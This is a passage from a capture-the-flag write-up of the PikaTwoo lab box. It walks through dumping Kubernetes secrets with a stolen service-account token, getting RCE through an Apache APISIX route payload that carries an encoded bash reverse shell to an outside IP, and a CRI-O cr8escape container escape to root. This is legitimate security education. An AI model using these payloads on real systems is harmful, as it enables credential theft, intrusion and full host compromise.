curl -v -H "Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6IjAtelk2WTBKaFgwY3g0b3hxbVF6OWg5blJmNkVOS0xiNFhkNklqN2ZybGcifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNzI2MTA2NTc0LCJpYXQiOjE2OTQ1NzA1NzQsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJhcHBsaWNhdGlvbnMiLCJwb2QiOnsibmFtZSI6InBva2F0ZGV4LWFwaS03NWI3YmQ5NmY3LTJ4a3hrIiwidWlkIjoiOGI3MGY1YjItODE1OC00NDg5LTk0NGUtMDA2ZTM1Yzc2ZDkzIn0sInNlcnZpY2VhY2NvdW50Ijp7Im5hbWUiOiJkZWZhdWx0IiwidWlkIjoiMTRmN2QyM2MtZDlmZi00OGE1LTg1MmItODAyZTdjZmVjZDkzIn0sIndhcm5hZnRlciI6MTY5NDU3NDE4MX0sIm5iZiI6MTY5NDU3MDU3NCwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmFwcGxpY2F0aW9uczpkZWZhdWx0In0.ZFjj_dWTwyHxw6yzXvYUe4x0sJC2cxtCmpYcnS0CKFiUf4g9VDHWuhyoNGZa0Q42xl6NO-GaZVdHvXBiMNQZT_nOg09HDPHv12ks1_q36z062FNL874Mtux2J1SH2N4CMEZSMfF9hoW1AVgK2yveAorB7Oq6GHXkqVe1RZZ6lIqoOkNrtwfLT6BYrJBeF0wbaoFSLkIq4JMi9WAZM_zbFcP6NxI2k25Wt8uOEZaQ0FIIguJo6AWx_LHx4KI9NaxY58QCC5l3UHykEWblPobT1CiRT4umyAMv-sbpTW_8iCCAxVs2I6wKfq3wQwDFUEin-TDGggkBSdi6Zv38zRu2CQ" https://kubernetes.default.svc/api/v1/namespaces/applications/secrets/ -k

This time it works:

{
"kind": "SecretList",
"apiVersion": "v1",
"metadata": {
"resourceVersion": "2403764"
},
"items": [
{
"metadata": {
"name": "apisix-credentials",
"namespace": "applications",
"uid": "be010bfa-acfb-410b-a5a3-23a2be554642",
"resourceVersion": "806",
"creationTimestamp": "2022-03-17T22:02:57Z",
"annotations": {
"kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"data\":{\"APISIX_ADMIN_KEY\":\"YThjMmVmNWJjYzM3NmU5OTFhZjBiMjRkYTI5YzNhODc=\",\"APISIX_VIEWER_KEY\":\"OTMzY2NjZmY4YjVkNDRmNTAyYTNmMGUwOTQ3NmIxMTg=\"},\"kind\":\"Secret\",\"metadata\":{\"annotations\":{},\"name\":\"apisix-credentials\",\"namespace\":\"applications\"},\"type\":\"Opaque\"}\n"
},
"managedFields": [
{
"manager": "kubectl-client-side-apply",
"operation": "Update",
"apiVersion": "v1",
"time": "2022-03-17T22:02:57Z",
"fieldsType": "FieldsV1",
< SNIP >
},
"type": "helm.sh/release.v1"
}
}

Reading through the response, we find the value of the APISIX Admin key (by base64 decoding APISIX_ADMIN_KEY:

a8c2ef5bcc376e991af0b24da29c3a87

Apache APISIX RCE

With knowledge of the admin key, we have all the pieces we need to get RCE on the APISIX container. We can use the same method as the CVE POC— we will create a malicious route on the APISIX server that executes a script of our choosing when called:

First, let’s forward the port we need (port 9080 on 10.244.0.2) so we can mess with the request in Burp:

Following the CVE, we will need to make a POST request to /apisix/batch-requests with the following payload:

{
"headers": {
"X-API-KEY": "a8c2ef5bcc376e991af0b24da29c3a87",
"Content-Type": "application/json"
},
"pipeline": [
{
"path": "/apisix/admin/routes/index",
"method": "PUT",
"body": "\r\n{\"uri\":\"/hello/shell\",\"upstream\":{\"type\":\"roundrobin\",\"nodes\":\r\n{\"10.10.14.5:5555\":1}},\"name\":\"shell\",\"filter_func\":\"function(vars) os.execute('echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjUvOTAwMSAwPiYx | base64 -d | bash'); return true end\"}"
}
]
}

This will create a new route at /hello/shell on https://pokatdex-api-v1.pokatmon-app.htb. After it gets created, when we make a GET request to https://10.10.11.199/hello/shell, the malicious filter_func script will get executed, and hopefully send us a reverse shell. The reverse shell is placed in a call to os.execute with a base64 encoded bash reverse shell. Let’s try it.

And we get our second shell!

Container Enumeration 2: Electric Boogaloo

Thankfully, we don’t have to look far for this step. We land in the /usr/local/apisix directory as the nobody user:

The configuration files for APISIX in conf/ are a good place to start. Inside, we find config.yaml. Looking into this file, we find a plaintext password:

Aaaaaand let’s try this over SSH:

Halfway done!

Privilege Escalation

Enumeration

This box has one more challenge for us. Running through our usual privilege escalation checks doesn’t reveal much. The andrew user doesn’t have sudo rights, no SUID binaries, no privileged tasks running in the background. There is, however, one other user on the box, jennifer:

And oddly enough, we can look inside and read files in her home directory:

One of the most interesting files we can read is .kube/config. After some research, we can identify that this is a kubeconfig file. At the bottom of the config, there is a client certificate and key pointing to two files in Jennifer’s home directory. We can read these too:

With the kubeconfig file, certificate, and key, we will be able to authenticate as Jennifer to kubernetes. This is a huge hint that kubernetes is the path forward.

Exploiting Kubernetes

I had never worked with Kubernetes, but I found this cheat sheet while doing the box on kubernetes.io to be very helpful:

https://kubernetes.io/docs/reference/kubectl/cheatsheet/

After we run export KUBECONFIG=/home/jennifer/.kube/config, we can try to see the pods, but unfortunately we get access denied:

Error from server (Forbidden): pods is forbidden: User "jennifer" cannot list resource "pods" in API group "" in the namespace "default"

Since we didn’t specify a namespace, it uses default… by default. We can check to see if there are other namespaces by running kubectl get namespace:

NAME              STATUS   AGE
applications Active 545d
default Active 545d
development Active 307d
kube-node-lease Active 545d
kube-public Active 545d
kube-system Active 545d

We should try to get the pods in the othernamespaces, but we still get access denied:

andrew@pikatwoo:/home/jennifer$ kubectl get pods --namespace=development
Error from server (Forbidden): pods is forbidden: User "jennifer" cannot list resource "pods" in API group "" in the namespace "development"
andrew@pikatwoo:/home/jennifer$ kubectl get pods --namespace=applications
Error from server (Forbidden): pods is forbidden: User "jennifer" cannot list resource "pods" in API group "" in the namespace "applications"
andrew@pikatwoo:/home/jennifer$

So, what else can we do? Another privileged action in Kubernetes that we should check for is the ability to create k8s. This can be done by using kubectl apply, specifying a template yaml file, and a namespace. Fortunately, Jennifer has a template.yaml conveniently placed in their home folder:

We get access denied in the application namespace, but successfully create a k8 in development:

andrew@pikatwoo:/home/jennifer$ kubectl apply -f template.yaml -n application
Error from server (Forbidden): error when retrieving current configuration of:
Resource: "/v1, Resource=pods", GroupVersionKind: "/v1, Kind=Pod"
Name: "template-pod", Namespace: "application"
from server for: "template.yaml": pods "template-pod" is forbidden: User "jennifer" cannot get resource "pods" in API group "" in the namespace "application"
andrew@pikatwoo:/home/jennifer$ kubectl apply -f template.yaml -n development
pod/template-pod created
andrew@pikatwoo:/home/jennifer$

The ability to create containers reminded me of another box I completed, Vessel. The privilege escalation in that box involves abusing a container escape CVE, coined cr8escape. In Vessel, we also have the ability to create containers. I decided to look at this CVE again, starting with the same article I used for that box from CrowdStrike:

https://www.crowdstrike.com/blog/cr8escape-new-vulnerability-discovered-in-cri-o-container-engine-cve-2022-0811/

The article gives an example of a reproduction environment with some version information:

We should try to identify the version of kubernetes and CRI-O on the box. This was hard for me, but eventually I found something in Jennifer’s home folder by grepping for cri-o:

We seem to be working with Kubernetes v1.23.3 and CRI-O 1.22.1, which matches the versions in the CrowdStrike article.

Looking deeper into the CVE, the vulnerability occurs due to a bug in CRI-O, an implementation of the Kubernetes Container Runtime. A binary called by this version of CRI-O (called pinns) blindly sets a kernel parameter without validating the input. An attacker can abuse this to update the value to |/path/to/script.sh #'. After the value is updated, triggering a core dump will cause script.sh to be run as root.

Let’s test the POC demonstrated in the article. First, we will need to create a malicious yaml file:

Next, we will create the k8 using themalicious.yaml template:

Third, we will create the bash script that will run as root during the exploit:

#!/bin/bash

chmod u+s /bin/bash

Fourth, we make the second YAML file that updates the kernel.core_pattern value to point to our malicious bash script:

apiVersion: v1
kind: Pod
metadata:
name: sysctl-set
spec:
securityContext:
sysctls:
- name: kernel.shm_rmid_forced
value: "1+kernel.core_pattern=|/tmp/malicious.sh #" <- it happens here
containers:
- name: alpine
image: alpine:latest
command: ["tail", "-f", "/dev/null"]

And then use sysctl-set.yaml to create another k8:

At this point, we can actually verify whether the CVE worked by viewing the contents of /proc/sys/kernel/core_pattern:

The exploit worked! Now we just need to trigger a core dump to run the malicious.sh script as root. The steps to do so are as follows:

  1. Run tail -f /dev/null &
  2. Run ps to find the PID of the tail command
  3. Use the kill command to trigger a core dump

It worked! /bin/bash now has the SUID bit set. All we have to do now is run bash with the -p flag:

And with that, PikaTwoo is solved!

Conclusion

If you made it this far, good job, thank you for reading and also I’m sorry. This box was truly a journey and I hope I captured part of what that felt like to complete it. As difficult as it was, the dozens of hours were well worth it — I easily learned more from this single box than many other boxes combined.

Additionally, it is clear that the box authors put an insane amount of time into creating it. The skill and knowledge required to configure these services, create an entire android app, and set up the environment with such a fascinating attack path is mind blowing. Congrats to polarbearer and pwnmeow for creating such an awesome box.

As with my other writeups, I hope you found this writeup interesting and learned something new!

--

--